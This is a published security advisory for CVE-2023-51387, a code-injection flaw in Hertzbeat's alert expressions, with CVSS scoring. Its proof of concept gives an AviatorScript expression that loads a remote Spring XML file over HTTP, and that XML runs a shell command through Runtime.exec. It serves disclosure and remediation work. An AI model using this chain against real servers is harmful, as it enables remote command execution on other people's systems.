Skip to content

Expression Injection Vulnerability in Hertzbeat

High
tomsun28 published GHSA-4576-m8px-w9qj Dec 19, 2023

Package

maven org.dromara.hertzbeat (Maven)

Affected versions

<= 1.3.1

Patched versions

None

Description

Summary

Hertzbeat uses aviatorscript to evaluate alert expressions. The alert expressions are supposed to be some simple expressions. However, due to improper sanitization for alert expressions, a malicious user can use a crafted alert expression to execute any command on hertzbeat server.

PoC

  1. Start a hertzbeat instance by docker
docker run -d -p 1157:1157 --name hertzbeat tancloud/hertzbeat
  1. Add an alert define, which has an expression like below
use org.springframework.context.support.ClassPathXmlApplicationContext;new ClassPathXmlApplicationContext("http://host.docker.internal:9999/touch.xml")
  1. Create a touch.xml on host machine like below:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                        http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="evil" class="java.lang.String">
        <constructor-arg value="#{T(Runtime).getRuntime().exec('touch /tmp/pwnned')}"/>
    </bean>
</beans>
  1. Start a http server in the same directory to serve touch.xml :
python3 -m http.server 9999
  1. Save the alert define, and add a demo http api monitor to trigger the malicious alert expression. Wait for a while, you can see a /tmp/pwnned created in container, proving that the command is executed.

Impact

A malicious user who has access to alert define function can execute any command in hertzbeat instance.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2023-51387

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Credits